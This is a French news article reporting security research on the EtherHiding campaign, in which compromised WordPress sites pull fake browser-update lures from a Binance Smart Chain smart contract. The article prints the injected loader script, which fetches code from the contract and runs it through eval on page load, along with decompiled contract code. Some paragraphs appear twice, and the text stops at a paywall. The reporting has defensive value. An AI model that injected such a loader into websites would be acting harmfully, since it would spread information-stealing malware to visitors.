
pour héberger et diffuser leurs logiciels malveillants, selon des chercheurs
Binance est une plateforme de trading de cryptomonnaies qui permet également de créer et d’exécuter des applications décentralisées et des contrats intelligents, c’est-à-dire des accords codés qui s’exécutent automatiquement lorsque certaines conditions sont remplies. Mais cette technologie innovante a aussi attiré l’attention de certains acteurs malveillants, qui ont trouvé un moyen d’utiliser le réseau Binance Smart Chain (BSC) pour héberger et diffuser leur logiciel malveillant en toute impunité.
L’une des plus anciennes astuces de malware (des sites Web piratés prétendant que les visiteurs doivent mettre à jour leur navigateur Web avant de pouvoir afficher un contenu) a repris vie au cours des derniers mois. De nouvelles recherches montrent que les attaquants à l'origine d'un tel système ont développé un moyen ingénieux d'empêcher leurs logiciels malveillants d'être supprimés par des experts en sécurité ou par les forces de l'ordre : en hébergeant les fichiers malveillants sur une blockchain de crypto-monnaie décentralisée et pseudo-anonyme.
En août 2023, le chercheur en sécurité Randy McEoin a écrit sur une arnaque qu'il a surnommée ClearFake, qui utilise des sites WordPress piratés pour proposer aux visiteurs une page prétendant que vous devez mettre à jour votre navigateur avant de pouvoir afficher le contenu.
Les fausses alertes de navigateur sont spécifiques au navigateur que vous utilisez. Ainsi, si vous surfez sur le Web avec Chrome, par exemple, vous recevrez une invite de mise à jour de Chrome. Ceux qui sont trompés en cliquant sur le bouton de mise à jour verront un fichier malveillant déposé sur leur système qui tente d'installer un cheval de Troie volant des informations.
Selon une étude menée par Guardio Labs, une unité de recherche de la société de sécurité Guardio, les escrocs ont mis en place une campagne baptisée EtherHiding, qui consiste à injecter du code Javascript malveillant dans des sites web compromis, généralement des sites WordPress. Ce code va ensuite interroger le réseau BSC en créant un contrat intelligent avec une adresse blockchain contrôlée par les attaquants. Ce contrat va renvoyer une charge utile malveillante et obfusquée, qui va à son tour contacter un serveur de commande et de contrôle (C2) pour afficher aux visiteurs des sites infectés une fausse alerte leur demandant de mettre à jour leur navigateur. Si la victime clique sur le bouton de mise à jour, elle est redirigée vers le téléchargement d’un exécutable malveillant hébergé sur Dropbox ou d’autres services légitimes de partage de fichiers.
Le logiciel malveillant ainsi téléchargé peut être un chargeur (loader) qui va installer d’autres programmes malveillants plus sophistiqués, tels que des voleurs d’informations (stealers), des chevaux de Troie ou des logiciels espions. Parmi les logiciels malveillants observés dans cette campagne, on trouve Amadey, Lumma, RedLine, DanaBot, Raccoon, Remcos, SystemBC ou Vidar.
Au cours des deux derniers mois environ, nous avons été confrontés à une nouvelle campagne de propagation de logiciels malveillants par « fausses mises à jour ». Dans le flux d'attaque, un site est dégradé avec une superposition très crédible exigeant une mise à jour du navigateur avant de pouvoir accéder au site. La fausse « mise à jour » s’avère être un malware voleur d’informations vicieux comme RedLine, Amadey ou Lumma.
Cette campagne, baptisée « ClearFake », identifiée par Randy McEoin, commence son attaque sur des sites WordPress compromis où les attaquants intègrent un code JS dissimulé. Ce code initial « tête de pont » est injecté dans les pages d’articles et récupère une charge utile de deuxième étape auprès d’un serveur contrôlé par les attaquants, qui effectue ensuite le reste du site.
Grâce à cette méthode, l’attaquant peut modifier à distance et instantanément le processus d’infection et afficher le message de son choix. Il peut changer de tactique, mettre à jour les domaines bloqués et désactiver les charges utiles détectées sans réaccéder aux sites WordPress. Dans le cas de « ClearFake », le code de la deuxième étape était hébergé sur Cloudflare Workers. Cela a été efficace jusqu'à ce que CloudFlare bloque ces comptes, interrompant potentiellement l'ensemble de la campagne.
Pourtant, dans cette évolution de « ClearFake », nous constatons que les acteurs malveillant ont introduit une nouvelle méthode d’hébergement de code malveillant de manière anonyme et sans aucune limitation : un véritable hébergement « Bullet Proof » facilité par la Blockchain.
Cette campagne, baptisée « ClearFake », identifiée par Randy McEoin, commence son attaque sur des sites WordPress compromis où les attaquants intègrent un code JS dissimulé. Ce code initial « tête de pont » est injecté dans les pages d’articles et récupère une charge utile de deuxième étape auprès d’un serveur contrôlé par les attaquants, qui effectue ensuite le reste du site.
Grâce à cette méthode, l’attaquant peut modifier à distance et instantanément le processus d’infection et afficher le message de son choix. Il peut changer de tactique, mettre à jour les domaines bloqués et désactiver les charges utiles détectées sans réaccéder aux sites WordPress. Dans le cas de « ClearFake », le code de la deuxième étape était hébergé sur Cloudflare Workers. Cela a été efficace jusqu'à ce que CloudFlare bloque ces comptes, interrompant potentiellement l'ensemble de la campagne.
Pourtant, dans cette évolution de « ClearFake », nous constatons que les acteurs malveillant ont introduit une nouvelle méthode d’hébergement de code malveillant de manière anonyme et sans aucune limitation : un véritable hébergement « Bullet Proof » facilité par la Blockchain.
Le nouveau processus d'infection, à première vue, est le même qu'auparavant : il utilise les mêmes domaines et adresses IP, mais dès la première entrée du site WordPress compromis, nous voyons un nouveau trafic réseau inconnu dirigé vers des serveurs contrôlés par Binance. Qu’est-ce que Binance, l’une des plus grandes bourses de crypto-monnaie au monde, a à voir avec tout cela ? Les chercheurs ont commencé par examiner la nouvelle variante du code de première étape :
Code : | Sélectionner tout |
1 2 3 4 | <script src="https://cdn.ethers.io/lib/ethers-5.2.umd.min.js" type="application/javascript"></script> <script src="data:text/javascript;base64,YXN5bmMgZnVuY3Rpb24gbG9hZCgpe2xldCBwcm92aWRlcj1uZXcgZXRoZXJz LnByb3ZpZGVycy5Kc29uUnBjUHJvdmlkZXIoImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5iaW5hbmNlLm9yZy8iKSxzaWduZXI9cHJvd [......]b2FkOw=="></script> |
Le code ci-dessus est simplement obscurci en Base64, ce qui se traduit par l'exécution de ce qui suit sur chaque page chargée à partir du site compromis :
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | // include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js> async function load() { let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"), signer = provider.getSigner(), address = "0x7f36D9292e7c70A204faCC2d255475A861487c60", ABI = [ { inputs: [{ internalType: "string", .......}, { inputs: [], name: "get", ......}, { inputs: [], name: "link", ....... }, ], contract = new ethers.Contract(address, ABI, provider), link = await contract.get(); eval(atob(link)); } window.onload = load; |
BSC, ou Binance Smart Chain, lancée il y a trois ans, est la réponse de Binance à Ethereum, conçue pour exécuter plus efficacement des applications décentralisées et des « contrats intelligents ». Alors qu'Ethereum est une blockchain publique dotée de capacités de crypto-monnaie et de contrats, BSC appartient à Binance et se concentre sur les contrats : des accords codés qui exécutent automatiquement des actions lorsque certaines conditions sont remplies. Ces contrats offrent des moyens innovants de créer des applications et des processus. En raison de la nature publique et immuable de la blockchain, le code peut être hébergé « en chaîne » sans possibilité de retrait.
C’est ce que nous voyons ici dans cette attaque : le code malveillant est hébergé et servi d’une manière qui ne peut pas être bloqué. Contrairement à son hébergement sur un service Cloudflare Worker, comme cela était atténué sur la variante précédente. Il s’agit véritablement d’une arme à double tranchant dans le domaine de la technologie décentralisée.
Analyse du contrat intelligent malveillant
Les chercheurs indiquent qu'ils ne peuvent pas voir le code réel utilisé pour compiler ce contrat, mais ils ont accès à son bytecode (décentralisé et transparent après tout). Une fois décompilé, voici sa fonctionnalité simple en action :
[CODE]def storage:
stor0 is array of struct at storage 0
def update(string _newName) payable:
require calldata.size - 4 >= 32
require _newName <= -1
require _newName + 35 < calldata.size
if _newName.length > -1:
revert with 'NH{q', 65
require _newName + _newName.length + 36 <= calldata.size
if bool(stor0.length):
if bool(stor0.length) == stor0.length.field_1 < 32:
revert with 'NH{q', 34
if _newName.length:
stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
else:
{...}
def get() payable:
if bool(stor0.length):
if bool(stor0.length) == stor0.length.field_1 < 32:
revert with 'NH{q', 34
{..}
if stor0.length.field_1:
if 31 < stor0.length.field_1:
mem[128] = uint256(stor0.field_0)
idx = 128
s = 0
while stor0.length.field_1 + 96 > idx:
mem[idx + 32] = stor0[s].field_256
idx = idx + 32
s = s + 1
continue
return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
mem[128] = 256 * stor0.length.field_8
else:
{...}
return Array(len=stor0.length % 1[/128]...
La fin de cet article est réservée aux abonnés. Soutenez le Club Developpez.com en prenant un abonnement pour que nous puissions continuer à vous proposer des publications.